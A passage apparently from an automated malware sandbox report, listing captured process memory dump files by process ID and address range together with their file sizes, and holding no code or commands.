                                                                                                        • memory/2540-63-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/2552-53-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/3080-86-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/3132-27-0x00007FFE1C580000-0x00007FFE1D042000-memory.dmp

                                                                                                          Filesize

                                                                                                          10.8MB

                                                                                                        • memory/3132-30-0x00007FFE1C580000-0x00007FFE1D042000-memory.dmp

                                                                                                          Filesize

                                                                                                          10.8MB

                                                                                                        • memory/3132-26-0x00007FFE1C580000-0x00007FFE1D042000-memory.dmp

                                                                                                          Filesize

                                                                                                          10.8MB

                                                                                                        • memory/3132-25-0x00007FFE1C580000-0x00007FFE1D042000-memory.dmp

                                                                                                          Filesize

                                                                                                          10.8MB

                                                                                                        • memory/3296-49-0x0000000002B10000-0x0000000002B3A000-memory.dmp

                                                                                                          Filesize

                                                                                                          168KB

                                                                                                        • memory/3296-52-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/3664-81-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/3912-64-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB